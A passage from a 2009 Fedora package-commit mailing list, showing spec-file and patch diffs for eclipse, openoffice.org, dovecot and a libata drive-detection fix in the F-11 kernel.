 rm -fr $RPM_BUILD_ROOT%{_libdir}/eclipse/p2
-# ECF filetransfer plugins we built
-rm $sdkDir/plugins/org.eclipse.ecf*.jar
-unzip -d $RPM_BUILD_ROOT%{_libdir} \
-  build/eclipse-I20090611-1540-fetched-src/org.eclipse.ecf/build/rpmBuild/org.eclipse.ecf.filetransfer_feature.zip
-# Remove the feature we used for building
-rm -rf \
-  $sdkDir/features/org.eclipse.ecf.filetransfer_feature_*
 
 LAUNCHERVERSION=$(ls $sdkDir/plugins | grep equinox.launcher_ | sed 's/org.eclipse.equinox.launcher_//')
 
@@ -762,7 +526,8 @@ org.eclipse.equinox.p2.metadata.generato
 -publishArtifacts \
 -append \
 -artifactRepositoryName "Eclipse Platform" \
--metadataRepositoryName "Eclipse Platform"
+-metadataRepositoryName "Eclipse Platform" \
+-debug -consolelog
 
 # JDT
 jdtDir=$sdkDir-JDT
@@ -820,7 +585,7 @@ org.eclipse.equinox.p2.director \
 
 # Stuff in JDT, PDE, SDK
 for f in about.html about_files \.eclipseproduct epl-v10.html notice.html readme; do
-    if 	[ -e $installDir/$f ]; then
+    if  [ -e $installDir/$f ]; then
       mv $installDir/$f $provisionDir
     fi
 done
@@ -940,24 +705,10 @@ done
 popd
 %endif
 
-cp -p build/eclipse-I20090611-1540-fetched-src/installation/eclipse.ini \
+cp -p eclipse.ini-real \
   $sdkDir/eclipse.ini
-# We have /usr/share/eclipse/dropins in eclipse.ini
-sed -i "s|/usr/share|%{_datadir}|" $sdkDir/eclipse.ini
 
-sed --in-place "s/osgi.ws=gtk/osgi.ws=gtk\norg.eclipse.update.reconcile=false/" \
-  $RPM_BUILD_ROOT%{_libdir}/%{name}/configuration/config.ini
-sed --in-place "s|org.eclipse.core.runtime,3.5.0.v20090316,file:plugins/org.eclipse.core.runtime_3.5.0.v20090316.jar,4,false|org.eclipse.core.runtime,3.5.0.v20090316,file:plugins/org.eclipse.core.runtime_3.5.0.v20090316.jar,4,true|" \
-  $RPM_BUILD_ROOT%{_libdir}/%{name}/configuration/org.eclipse.equinox.simpleconfigurator/bundles.info
-
-# Install the Eclipse binary wrapper
-install -d -m 755 $RPM_BUILD_ROOT%{_bindir}
-ln -s %{_libdir}/%{name}/%{name} $RPM_BUILD_ROOT%{_bindir}/%{name}
-install -d -m 755 $RPM_BUILD_ROOT%{_bindir}
-#cp -p %{SOURCE3} $RPM_BUILD_ROOT%{_bindir}/eclipse
-#sed --in-place "s|@LIBDIR@|%{_libdir}|g" $RPM_BUILD_ROOT%{_bindir}/eclipse
-#ECLIPSELIBSUFFIX=$(ls $RPM_BUILD_ROOT%{_libdir}/%{name}/plugins/org.eclipse.equinox.launcher.gtk.linux*/*.so | sed "s/.*.launcher.gtk.linux.//")
-#sed --in-place "s|@ECLIPSELIBSUFFIX@|$ECLIPSELIBSUFFIX|" $RPM_BUILD_ROOT%{_bindir}/eclipse
+sed -i "s|$RPM_BUILD_ROOT||g" $sdkDir/eclipse.ini
 
 mkdir -p $RPM_BUILD_ROOT%{_libdir}/%{name}/links
 # FIXME:  We can probably get rid of the links file when we ensure all
@@ -970,7 +721,7 @@ echo "path:%{_datadir}" > \
 chmod 755 $RPM_BUILD_ROOT/%{_libdir}/%{name}/%{name}
 
 # Install the SWT jar symlinks in libdir
-SWTJARVERSION=$(grep v$SWT_VERSION build/eclipse-I20090611-1540-fetched-src/plugins/org.eclipse.swt.gtk.linux.%{eclipse_arch}/build.xml | sed "s:.*<.*\"\(.*\)\" />:\1:")
+SWTJARVERSION=$(grep v$SWT_VERSION build/eclipse-R3_5_1-fetched-src/plugins/org.eclipse.swt.gtk.linux.%{eclipse_arch}/build.xml | sed "s:.*<.*\"\(.*\)\" />:\1:")
 pushd $RPM_BUILD_ROOT%{_libdir}/%{name}
 ln -s plugins/org.eclipse.swt.gtk.linux.%{eclipse_arch}_$SWTJARVERSION.jar swt-gtk-%{eclipse_majmin}.%{eclipse_micro}.jar
 ln -s swt-gtk-%{eclipse_majmin}.%{eclipse_micro}.jar swt-gtk-%{eclipse_majmin}.jar
@@ -978,20 +729,6 @@ ln -s swt-gtk-%{eclipse_majmin}.%{eclips
 ln -s ../%{name}/swt-gtk-%{eclipse_majmin}.%{eclipse_micro}.jar ../java/swt.jar
 popd
 
-# Icons
-PLATFORMVERSION=$(ls $sdkDir/plugins | grep org.eclipse.platform_ | sed 's/org.eclipse.platform_//')
-install -d -m 755 $RPM_BUILD_ROOT%{_datadir}/icons/hicolor/48x48/apps
-ln -s %{_libdir}/%{name}/plugins/org.eclipse.platform_$PLATFORMVERSION/eclipse48.png \
-  $RPM_BUILD_ROOT%{_datadir}/icons/hicolor/48x48/apps/%{name}.png
-install -d -m 755 $RPM_BUILD_ROOT%{_datadir}/icons/hicolor/32x32/apps
-ln -s %{_libdir}/%{name}/plugins/org.eclipse.platform_$PLATFORMVERSION/eclipse32.png \
-  $RPM_BUILD_ROOT%{_datadir}/icons/hicolor/32x32/apps/%{name}.png
-install -d -m 755 $RPM_BUILD_ROOT%{_datadir}/icons/hicolor/16x16/apps
-ln -s %{_libdir}/%{name}/plugins/org.eclipse.platform_$PLATFORMVERSION/eclipse.png \
-  $RPM_BUILD_ROOT%{_datadir}/icons/hicolor/16x16/apps/%{name}.png
-install -d -m 755 $RPM_BUILD_ROOT%{_datadir}/pixmaps
-ln -s %{_datadir}/icons/hicolor/48x48/apps/%{name}.png $RPM_BUILD_ROOT%{_datadir}/pixmaps
-
 # Install the efj wrapper script
 install -p -D -m0755 %{SOURCE17} $RPM_BUILD_ROOT%{_bindir}/efj
 sed --in-place "s:startup.jar:%{_libdir}/%{name}/startup.jar:" \
@@ -1000,15 +737,15 @@ sed --in-place "s:startup.jar:%{_libdir}
 rm -rf $installDir
 
 # A sanity check.
-desktop-file-validate %{SOURCE2}
+desktop-file-validate %{name}.desktop
 
 # freedesktop.org menu entry
 desktop-file-install --vendor="fedora" \
---dir=$RPM_BUILD_ROOT%{_datadir}/applications %{SOURCE2}
+--dir=$RPM_BUILD_ROOT%{_datadir}/applications %{name}.desktop
 
 # Create a script that can be used to make a symlink tree of the
 # eclipse platform.
-cp -p %{SOURCE16} copy-platform
+cp -p pdebuild/eclipse-copy-platform.sh copy-platform
 (
   cd $RPM_BUILD_ROOT%{_libdir}/%{name}
   ls -d * | egrep -v '^(plugins|features|about_files|dropins)$'
@@ -1035,7 +772,7 @@ sed --in-place "s|file\\\:%{_libdir}/ecl
   $RPM_BUILD_ROOT%{_libdir}/%{name}/configuration/config.ini
 
 # Install the PDE Build wrapper script.
-install -p -D -m0755 %{SOURCE21} \
+install -p -D -m0755 pdebuild/eclipse-pdebuild.sh \
   $RPM_BUILD_ROOT%{_libdir}/%{name}/buildscripts/pdebuild
 PDEBUILDVERSION=$(ls $RPM_BUILD_ROOT%{_libdir}/%{name}/dropins/sdk/plugins \
   | grep org.eclipse.pde.build_ | \
@@ -1093,11 +830,11 @@ ln -s %{_javadir}/ant/ant-trax.jar $ANTD
 
 JETTYPLUGINVERSION=$(ls plugins | grep org.mortbay.jetty.server_6 | sed 's/org.mortbay.jetty.server_//')
 rm plugins/org.mortbay.jetty.server_$JETTYPLUGINVERSION
-ln -s %{_javadir}/jetty/jetty-6.1.20.jar plugins/org.mortbay.jetty.server_$JETTYPLUGINVERSION
+ln -s %{_javadir}/jetty/jetty.jar plugins/org.mortbay.jetty.server_$JETTYPLUGINVERSION
 
 JETTYUTILVERSION=$(ls plugins | grep org.mortbay.jetty.util_6 | sed 's/org.mortbay.jetty.util_//')
 rm plugins/org.mortbay.jetty.util_$JETTYUTILVERSION
-ln -s %{_javadir}/jetty/jetty-util-6.1.20.jar plugins/org.mortbay.jetty.util_$JETTYUTILVERSION
+ln -s %{_javadir}/jetty/jetty-util.jar plugins/org.mortbay.jetty.util_$JETTYUTILVERSION
 
 pushd dropins/jdt
 build-jar-repository -s -p plugins/org.junit_* junit
@@ -1274,8 +1011,6 @@ fi
 %defattr(-,root,root)
 %attr(0755,root,root) %{_bindir}/%{name}
 %config %{_libdir}/%{name}/eclipse.ini
-#%{_libdir}/%{name}/.eclipseproduct
-%{_libdir}/%{name}/configuration/config.ini
 %ifnarch ppc
 %{_libdir}/%{name}/about_files
 %endif
@@ -1429,6 +1164,10 @@ fi
 #%{_libdir}/%{name}/configuration/org.eclipse.equinox.source
 
 %changelog
+* Tue Oct 13 2009 Alexander Kurtakov <akurtako at redhat.com> 1:3.5.1-1
+- Update to 3.5.1.
+- Fixes crash issue with gtk 2.18.
+
 * Wed Sep 23 2009 Andrew Overholt <overholt at redhat.com> 1:3.5.0-2
 - Move jakarta-commons-codec requirement from jdt to platform.
 

eclipse-addusrsharedropins.patch:
 sdk.product |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

Index: eclipse-addusrsharedropins.patch
===================================================================
RCS file: /cvs/pkgs/rpms/eclipse/F-12/eclipse-addusrsharedropins.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- eclipse-addusrsharedropins.patch	14 Sep 2009 16:12:50 -0000	1.1
+++ eclipse-addusrsharedropins.patch	13 Oct 2009 12:27:54 -0000	1.2
@@ -1,12 +1,11 @@
-diff -up ./build/eclipse-I20090611-1540-fetched-src/buildConfigs/eclipse-build-config/productFiles/sdk/sdk.product.dropinslocation ./build/eclipse-I20090611-1540-fetched-src/buildConfigs/eclipse-build-config/productFiles/sdk/sdk.product
---- ./build/eclipse-I20090611-1540-fetched-src/buildConfigs/eclipse-build-config/productFiles/sdk/sdk.product.dropinslocation	2009-09-14 11:04:38.000000000 -0400
-+++ ./build/eclipse-I20090611-1540-fetched-src/buildConfigs/eclipse-build-config/productFiles/sdk/sdk.product	2009-09-14 10:56:56.000000000 -0400
-@@ -9,7 +9,7 @@
-    
+--- buildConfigs/eclipse-build-config/productFiles/sdk/sdk.product.orig	2009-10-05 10:29:14.349001858 +0300
++++ buildConfigs/eclipse-build-config/productFiles/sdk/sdk.product	2009-10-05 10:46:26.812754089 +0300
+@@ -8,7 +8,7 @@
+ 
     <launcherArgs>
        <programArgs>-showsplash org.eclipse.platform --launcher.XXMaxPermSize 256m</programArgs>
 -      <vmArgs>-Xms40m -Xmx256m</vmArgs>
-+      <vmArgs>-Xms40m -Xmx256m -Dorg.eclipse.equinox.p2.reconciler.dropins.directory=/usr/share/eclipse/dropins</vmArgs>
++      <vmArgs>-Xms40m -Xmx512m -Dorg.eclipse.equinox.p2.reconciler.dropins.directory=/usr/share/eclipse/dropins</vmArgs>
        <vmArgsMac>-Xdock:icon=../Resources/Eclipse.icns -XstartOnFirstThread -Dorg.eclipse.swt.internal.carbon.smallFonts</vmArgsMac>
     </launcherArgs>
  


--- eclipse-fix-javahome64.patch DELETED ---


--- ecf-filetransfer-build.properties DELETED ---


--- eclipse-help-toolbar.patch DELETED ---


--- eclipse-pdebuild.sh DELETED ---


--- eclipse-addrootfiles.patch DELETED ---


--- eclipse-addfragmentsforotherplatforms.patch DELETED ---


--- eclipse-launcher-fix-java-home.patch DELETED ---


--- fetch-ecf.sh DELETED ---


--- eclipse-jdt_launch-customBuild.patch DELETED ---


--- eclipse-swt-xulrunner191.patch DELETED ---


--- eclipse-dontpackicu4jsource.patch DELETED ---


--- eclipse-pde.build-add-package-build.patch DELETED ---


--- eclipse-copy-platform.sh DELETED ---


--- eclipse-compilelibs.patch DELETED ---


--- eclipse-config.ini.director DELETED ---


--- eclipse-ia64-packaging.patch DELETED ---


--- eclipse-osgi-classpath.patch DELETED ---


--- eclipse-platform_build.patch DELETED ---


--- ecf-filetransfer-feature.xml DELETED ---


--- eclipse-swt-buildagainstxulrunner.patch DELETED ---


--- eclipse-ecf-qualifier.patch DELETED ---


--- eclipse-nojarsignatures.patch DELETED ---


--- eclipse.desktop DELETED ---


--- eclipse-buildswtnatives.patch DELETED ---


--- eclipse-memorypermsizeandjvmcrash.patch DELETED ---



From caolanm at fedoraproject.org  Tue Oct 13 12:27:55 2009
From: caolanm at fedoraproject.org (Caolan McNamara)
Date: Tue, 13 Oct 2009 12:27:55 +0000 (UTC)
Subject: rpms/openoffice.org/devel workspace.printerpullpages.patch, NONE,
	1.1 openoffice.org.spec, 1.2032,
	1.2033 openoffice.org-2.1.0.ooo65491.psprint.enablenups.patch,
	1.2, NONE
Message-ID: <20091013122755.6D19311C00E8@cvs1.fedora.phx.redhat.com>

Author: caolanm

Update of /cvs/pkgs/rpms/openoffice.org/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18960

Modified Files:
	openoffice.org.spec 
Added Files:
	workspace.printerpullpages.patch 
Removed Files:
	openoffice.org-2.1.0.ooo65491.psprint.enablenups.patch 
Log Message:
wiki xslts gone

workspace.printerpullpages.patch:
 inc/vcl/printerjob.hxx               |    2 -
 unx/source/printergfx/printerjob.cxx |   45 +++++++++++++++++------------------
 2 files changed, 24 insertions(+), 23 deletions(-)

--- NEW FILE workspace.printerpullpages.patch ---
--- vcl/inc/vcl/printerjob.hxx
+++ vcl/inc/vcl/printerjob.hxx
@@ -99,7 +99,7 @@ private:            // private methods
 
     bool			writeFeatureList( osl::File* pFile, const JobData&, bool bDocumentSetup );
     bool            writeSetup( osl::File* pFile, const JobData& );
-    bool            writePageSetup( osl::File* pFile, const JobData& );
+    bool            writePageSetup( osl::File* pFile, const JobData&, bool bWriteFeatures = true );
     void			writeJobPatch( osl::File* File, const JobData& );
     bool            writeProlog (osl::File* pFile, const JobData& );
 
--- vcl/unx/source/printergfx/printerjob.cxx
+++ vcl/unx/source/printergfx/printerjob.cxx
@@ -1047,14 +1047,6 @@ PrinterJob::StartPage (const JobData& rJ
     if( ! (pPageHeader && pPageBody) )
         return sal_False;
 
-    /* #i7262# write setup only before first page
-     *  don't do this in StartJob since the jobsetup there may be
-     *  different.
-     */ 
-    bool bSuccess =  true;
-    if( 1 == maPageList.size() )
-        m_aDocumentJobData = rJobSetup;
-
     // write page header according to Document Structuring Conventions (DSC)
     WritePS (pPageHeader, "%%Page: ");
     WritePS (pPageHeader, aPageNo); 
@@ -1077,13 +1069,25 @@ PrinterJob::StartPage (const JobData& rJ
 
     WritePS (pPageHeader, pBBox);
 
-    if (bSuccess)
-        bSuccess = writePageSetup ( pPageHeader, rJobSetup );
-    if(bSuccess)
-        m_aLastJobData = rJobSetup;
+    /* #i7262# #i65491# write setup only before first page
+     *  (to %%Begin(End)Setup, instead of %%Begin(End)PageSetup)
+     *  don't do this in StartJob since the jobsetup there may be
+     *  different.
+     */ 
+    bool bWriteFeatures = true;
+    if( 1 == maPageList.size() )
+    {
+        m_aDocumentJobData = rJobSetup;
+        bWriteFeatures = false;
+    }
 
+    if ( writePageSetup( pPageHeader, rJobSetup, bWriteFeatures ) )
+    {
+        m_aLastJobData = rJobSetup;
+        return true;
+    }
         
-    return bSuccess;
+    return false;
 }
 
 sal_Bool
@@ -1174,12 +1178,9 @@ bool PrinterJob::writeFeatureList( osl::
                 if( pKey->getSetupType()    == PPDKey::DocumentSetup )
                     bEmit = true;
             }
-            else
-            {
-                if( pKey->getSetupType()    == PPDKey::PageSetup        ||
-                    pKey->getSetupType()    == PPDKey::AnySetup )
-                    bEmit = true;
-            }
+            if( pKey->getSetupType()    == PPDKey::PageSetup        ||
+                pKey->getSetupType()    == PPDKey::AnySetup )
+                bEmit = true;
             if( bEmit )
             {
                 const PPDValue* pValue = rJob.m_aContext.getValue( pKey );
@@ -1213,13 +1214,13 @@ bool PrinterJob::writeFeatureList( osl::
     return bSuccess;
 }
 
-bool PrinterJob::writePageSetup( osl::File* pFile, const JobData& rJob )
+bool PrinterJob::writePageSetup( osl::File* pFile, const JobData& rJob, bool bWriteFeatures )
 {
     bool bSuccess = true;
 
     WritePS (pFile, "%%BeginPageSetup\n%\n");
-
-    bSuccess = writeFeatureList( pFile, rJob, false );
+    if ( bWriteFeatures )
+        bSuccess = writeFeatureList( pFile, rJob, false );
     WritePS (pFile, "%%EndPageSetup\n");
 
     sal_Char  pTranslate [128];


Index: openoffice.org.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openoffice.org/devel/openoffice.org.spec,v
retrieving revision 1.2032
retrieving revision 1.2033
diff -u -p -r1.2032 -r1.2033
--- openoffice.org.spec	13 Oct 2009 09:54:56 -0000	1.2032
+++ openoffice.org.spec	13 Oct 2009 12:27:55 -0000	1.2033
@@ -77,7 +77,7 @@ Patch5:  openoffice.org-2.0.1.ooo58606.s
 Patch6:  openoffice.org-2.0.2.rh188467.printingdefaults.patch
 Patch7:  openoffice.org-3.0.0.ooo88303.vcl.dynamicfontoptions.patch
 Patch8:  openoffice.org-2.0.4.rhXXXXXX.padmin.nospadmin.patch
-Patch9:  openoffice.org-2.1.0.ooo65491.psprint.enablenups.patch
+Patch9:  workspace.printerpullpages.patch
 %if %{gtkprintui}
 Patch10: openoffice.org-2.0.3.rh127576.gtkunixprintdialog.localize
 %endif
@@ -1584,7 +1584,7 @@ cp -p %{SOURCE5} external/unowinreg/unow
 %patch6  -p1
 %patch7  -p1 -b .ooo88303.vcl.dynamicfontoptions.patch
 %patch8  -p1 -b .rhXXXXXX.padmin.nospadmin.patch
-%patch9  -p0 -b .ooo65491.psprint.enablenups.patch
+%patch9  -p0 -b .workspace.printerpullpages.patch
 %if %{gtkprintui}
 cat %{PATCH10} >> svtools/source/dialogs/localize.sdf
 %endif
@@ -3882,7 +3882,6 @@ update-desktop-database %{_datadir}/appl
 %{basisinstdir}/share/xslt/export/xhtml
 %dir %{basisinstdir}/share/xslt/import
 %{basisinstdir}/share/xslt/import/uof
-%{basisinstdir}/share/xslt/wiki/
 
 %files javafilter
 %defattr(-,root,root,-)


--- openoffice.org-2.1.0.ooo65491.psprint.enablenups.patch DELETED ---



From mhlavink at fedoraproject.org  Tue Oct 13 12:31:28 2009
From: mhlavink at fedoraproject.org (Michal Hlavinka)
Date: Tue, 13 Oct 2009 12:31:28 +0000 (UTC)
Subject: rpms/dovecot/devel dovecot.spec,1.142,1.143
Message-ID: <20091013123128.DDFEA11C00E8@cvs1.fedora.phx.redhat.com>

Author: mhlavink

Update of /cvs/extras/rpms/dovecot/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20606

Modified Files:
	dovecot.spec 
Log Message:
fix license



Index: dovecot.spec
===================================================================
RCS file: /cvs/extras/rpms/dovecot/devel/dovecot.spec,v
retrieving revision 1.142
retrieving revision 1.143
diff -u -p -r1.142 -r1.143
--- dovecot.spec	9 Oct 2009 19:01:08 -0000	1.142
+++ dovecot.spec	13 Oct 2009 12:31:28 -0000	1.143
@@ -3,7 +3,8 @@ Name: dovecot
 Epoch: 1
 Version: 1.2.6
 Release: 2%{?dist}
-License: MIT and LGPLv2 and BSD with advertising
+#dovecot itself is MIT, a few sources are PD, (manage)sieve is LGPLv2, perfect_maildir.pl is GPLv2+
+License: MIT and LGPLv2 and GPLv2+
 Group: System Environment/Daemons
 
 %define build_postgres 1



From mhlavink at fedoraproject.org  Tue Oct 13 12:32:01 2009
From: mhlavink at fedoraproject.org (Michal Hlavinka)
Date: Tue, 13 Oct 2009 12:32:01 +0000 (UTC)
Subject: rpms/dovecot/F-12 dovecot.spec,1.141,1.142
Message-ID: <20091013123201.AF39E11C00E8@cvs1.fedora.phx.redhat.com>

Author: mhlavink

Update of /cvs/extras/rpms/dovecot/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20764

Modified Files:
	dovecot.spec 
Log Message:
fix license



Index: dovecot.spec
===================================================================
RCS file: /cvs/extras/rpms/dovecot/F-12/dovecot.spec,v
retrieving revision 1.141
retrieving revision 1.142
diff -u -p -r1.141 -r1.142
--- dovecot.spec	9 Oct 2009 19:03:07 -0000	1.141
+++ dovecot.spec	13 Oct 2009 12:32:01 -0000	1.142
@@ -3,7 +3,8 @@ Name: dovecot
 Epoch: 1
 Version: 1.2.6
 Release: 2%{?dist}
-License: MIT and LGPLv2 and BSD with advertising
+#dovecot itself is MIT, a few sources are PD, (manage)sieve is LGPLv2, perfect_maildir.pl is GPLv2+
+License: MIT and LGPLv2 and GPLv2+
 Group: System Environment/Daemons
 
 %define build_postgres 1



From akurtakov at fedoraproject.org  Tue Oct 13 12:49:06 2009
From: akurtakov at fedoraproject.org (Alexander Kurtakov)
Date: Tue, 13 Oct 2009 12:49:06 +0000 (UTC)
Subject: rpms/eclipse/F-12 eclipse.spec,1.669,1.670
Message-ID: <20091013124906.46ACB11C00E8@cvs1.fedora.phx.redhat.com>

Author: akurtakov

Update of /cvs/pkgs/rpms/eclipse/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24714/F-12

Modified Files:
	eclipse.spec 
Log Message:
Fix jetty symlink.


Index: eclipse.spec
===================================================================
RCS file: /cvs/pkgs/rpms/eclipse/F-12/eclipse.spec,v
retrieving revision 1.669
retrieving revision 1.670
diff -u -p -r1.669 -r1.670
--- eclipse.spec	13 Oct 2009 12:27:54 -0000	1.669
+++ eclipse.spec	13 Oct 2009 12:49:05 -0000	1.670
@@ -351,11 +351,11 @@ ln -s %{_javadir}/ant/ant-trax.jar $ANTD
 
 JETTYPLUGINVERSION=$(ls plugins | grep org.mortbay.jetty.server_6 | sed 's/org.mortbay.jetty.server_//')
 rm plugins/org.mortbay.jetty.server_$JETTYPLUGINVERSION
-ln -s %{_javadir}/jetty/jetty.jar plugins/org.mortbay.jetty.server_$JETTYPLUGINVERSION
+ln -s %{_javadir}/jetty/jetty-6.1.20.jar plugins/org.mortbay.jetty.server_$JETTYPLUGINVERSION
 
 JETTYUTILVERSION=$(ls plugins | grep org.mortbay.jetty.util_6 | sed 's/org.mortbay.jetty.util_//')
 rm plugins/org.mortbay.jetty.util_$JETTYUTILVERSION
-ln -s %{_javadir}/jetty/jetty-util.jar plugins/org.mortbay.jetty.util_$JETTYUTILVERSION
+ln -s %{_javadir}/jetty/jetty-util-6.1.20.jar plugins/org.mortbay.jetty.util_$JETTYUTILVERSION
 
 JUNITVERSION=$(ls plugins | grep org.junit_3 | sed 's/org.junit_//')
 build-jar-repository -s -p plugins/org.junit_$JUNITVERSION junit
@@ -830,11 +830,11 @@ ln -s %{_javadir}/ant/ant-trax.jar $ANTD
 
 JETTYPLUGINVERSION=$(ls plugins | grep org.mortbay.jetty.server_6 | sed 's/org.mortbay.jetty.server_//')
 rm plugins/org.mortbay.jetty.server_$JETTYPLUGINVERSION
-ln -s %{_javadir}/jetty/jetty.jar plugins/org.mortbay.jetty.server_$JETTYPLUGINVERSION
+ln -s %{_javadir}/jetty/jetty-6.1.20.jar plugins/org.mortbay.jetty.server_$JETTYPLUGINVERSION
 
 JETTYUTILVERSION=$(ls plugins | grep org.mortbay.jetty.util_6 | sed 's/org.mortbay.jetty.util_//')
 rm plugins/org.mortbay.jetty.util_$JETTYUTILVERSION
-ln -s %{_javadir}/jetty/jetty-util.jar plugins/org.mortbay.jetty.util_$JETTYUTILVERSION
+ln -s %{_javadir}/jetty/jetty-util-6.1.20.jar plugins/org.mortbay.jetty.util_$JETTYUTILVERSION
 
 pushd dropins/jdt
 build-jar-repository -s -p plugins/org.junit_* junit



From cebbert at fedoraproject.org  Tue Oct 13 12:52:02 2009
From: cebbert at fedoraproject.org (Chuck Ebbert)
Date: Tue, 13 Oct 2009 12:52:02 +0000 (UTC)
Subject: rpms/kernel/F-11
	libata-fix-incorrect-link-online-check-during-probe.patch, NONE,
	1.1 kernel.spec, 1.1762, 1.1763
Message-ID: <20091013125203.03C9111C00E8@cvs1.fedora.phx.redhat.com>

Author: cebbert

Update of /cvs/pkgs/rpms/kernel/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25548

Modified Files:
	kernel.spec 
Added Files:
	libata-fix-incorrect-link-online-check-during-probe.patch 
Log Message:
Copy libata drive detection fix from 2.6.31.4 (#524756)

libata-fix-incorrect-link-online-check-during-probe.patch:
 libata-eh.c |   50 ++++++++++++++++++++++++++++++++------------------
 1 file changed, 32 insertions(+), 18 deletions(-)

--- NEW FILE libata-fix-incorrect-link-online-check-during-probe.patch ---
>From 3b761d3d437cffcaf160a5d37eb6b3b186e491d5 Mon Sep 17 00:00:00 2001
From: Tejun Heo <tj at kernel.org>
Date: Tue, 6 Oct 2009 17:08:40 +0900
Subject: libata: fix incorrect link online check during probe

From: Tejun Heo <tj at kernel.org>

commit 3b761d3d437cffcaf160a5d37eb6b3b186e491d5 upstream.

While trying to work around spurious detection retries for
non-existent devices on slave links, commit
816ab89782ac139a8b65147cca990822bb7e8675 incorrectly added link
offline check logic before ata_eh_thaw() was called.  This means that
if an occupied link goes down briefly at the time that offline check
was performed, device class will be cleared to ATA_DEV_NONE and libata
wouldn't retry thus failing detection of the device.

The offline check should be done after the port is thawed together
with online check so that such link glitches can be detected by the
interrupt handler and handled properly.

Signed-off-by: Tejun Heo <tj at kernel.org>
Reported-by: Tim Blechmann <tim at klingt.org>
Signed-off-by: Jeff Garzik <jgarzik at redhat.com>
Signed-off-by: Greg Kroah-Hartman <gregkh at suse.de>

---
 drivers/ata/libata-eh.c |   50 ++++++++++++++++++++++++++++++------------------
 1 file changed, 32 insertions(+), 18 deletions(-)

--- a/drivers/ata/libata-eh.c
+++ b/drivers/ata/libata-eh.c
@@ -2541,14 +2541,14 @@ int ata_eh_reset(struct ata_link *link, 
 		dev->pio_mode = XFER_PIO_0;
 		dev->flags &= ~ATA_DFLAG_SLEEPING;
 
-		if (!ata_phys_link_offline(ata_dev_phys_link(dev))) {
-			/* apply class override */
-			if (lflags & ATA_LFLAG_ASSUME_ATA)
-				classes[dev->devno] = ATA_DEV_ATA;
-			else if (lflags & ATA_LFLAG_ASSUME_SEMB)
-				classes[dev->devno] = ATA_DEV_SEMB_UNSUP;
-		} else
-			classes[dev->devno] = ATA_DEV_NONE;
+		if (ata_phys_link_offline(ata_dev_phys_link(dev)))
+			continue;
+
+		/* apply class override */
+		if (lflags & ATA_LFLAG_ASSUME_ATA)
+			classes[dev->devno] = ATA_DEV_ATA;
+		else if (lflags & ATA_LFLAG_ASSUME_SEMB)
+			classes[dev->devno] = ATA_DEV_SEMB_UNSUP;
 	}
 
 	/* record current link speed */
@@ -2581,34 +2581,48 @@ int ata_eh_reset(struct ata_link *link, 
 		slave->eh_info.serror = 0;
 	spin_unlock_irqrestore(link->ap->lock, flags);
 
-	/* Make sure onlineness and classification result correspond.
+	/*
+	 * Make sure onlineness and classification result correspond.
 	 * Hotplug could have happened during reset and some
 	 * controllers fail to wait while a drive is spinning up after
 	 * being hotplugged causing misdetection.  By cross checking
-	 * link onlineness and classification result, those conditions
-	 * can be reliably detected and retried.
+	 * link on/offlineness and classification result, those
+	 * conditions can be reliably detected and retried.
 	 */
 	nr_unknown = 0;
 	ata_for_each_dev(dev, link, ALL) {
-		/* convert all ATA_DEV_UNKNOWN to ATA_DEV_NONE */
-		if (classes[dev->devno] == ATA_DEV_UNKNOWN) {
-			classes[dev->devno] = ATA_DEV_NONE;
-			if (ata_phys_link_online(ata_dev_phys_link(dev)))
+		if (ata_phys_link_online(ata_dev_phys_link(dev))) {
+			if (classes[dev->devno] == ATA_DEV_UNKNOWN) {
+				ata_dev_printk(dev, KERN_DEBUG, "link online "
+					       "but device misclassifed\n");
+				classes[dev->devno] = ATA_DEV_NONE;
 				nr_unknown++;
+			}
+		} else if (ata_phys_link_offline(ata_dev_phys_link(dev))) {
+			if (ata_class_enabled(classes[dev->devno]))
+				ata_dev_printk(dev, KERN_DEBUG, "link offline, "
+					       "clearing class %d to NONE\n",
+					       classes[dev->devno]);
+			classes[dev->devno] = ATA_DEV_NONE;
+		} else if (classes[dev->devno] == ATA_DEV_UNKNOWN) {
+			ata_dev_printk(dev, KERN_DEBUG, "link status unknown, "
+				       "clearing UNKNOWN to NONE\n");
+			classes[dev->devno] = ATA_DEV_NONE;
 		}
 	}
 
 	if (classify && nr_unknown) {
 		if (try < max_tries) {
 			ata_link_printk(link, KERN_WARNING, "link online but "
-				       "device misclassified, retrying\n");
+					"%d devices misclassified, retrying\n",
+					nr_unknown);
 			failed_link = link;
 			rc = -EAGAIN;
 			goto fail;
 		}
 		ata_link_printk(link, KERN_WARNING,
-			       "link online but device misclassified, "
-			       "device detection might fail\n");
+				"link online but %d devices misclassified, "
+				"device detection might fail\n", nr_unknown);
 	}
 
 	/* reset successful, schedule revalidation */


Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-11/kernel.spec,v
retrieving revision 1.1762
retrieving revision 1.1763
diff -u -p -r1.1762 -r1.1763
--- kernel.spec	13 Oct 2009 10:26:00 -0000	1.1762
+++ kernel.spec	13 Oct 2009 12:52:02 -0000	1.1763
@@ -797,6 +797,9 @@ Patch15740: smsc95xx-fix-transmission-wh
 Patch15750: tcp-fix-config_tcp_md5sig-config_preempt-timer-bug.patch
 Patch15760: x86-fix-csum_ipv6_magic-asm-memory-clobber.patch
 
+# libata fix from 2.6.31.4 (#524756)
+Patch15800: libata-fix-incorrect-link-online-check-during-probe.patch
+
 %endif
 
 BuildRoot: %{_tmppath}/kernel-%{KVERREL}-root
@@ -1491,6 +1494,9 @@ ApplyPatch smsc95xx-fix-transmission-whe
 ApplyPatch tcp-fix-config_tcp_md5sig-config_preempt-timer-bug.patch
 ApplyPatch x86-fix-csum_ipv6_magic-asm-memory-clobber.patch
 
+# libata fix from 2.6.31.4 (#524756)
+ApplyPatch libata-fix-incorrect-link-online-check-during-probe.patch
+
 # END OF PATCH APPLICATIONS
 
 %endif
@@ -2079,6 +2085,9 @@ fi
 # and build.
 
 %changelog
+* Tue Oct 13 2009 Chuck Ebbert <cebbert at redhat.com> 2.6.30.9-84
+- Copy libata drive detection fix from 2.6.31.4 (#524756)
+
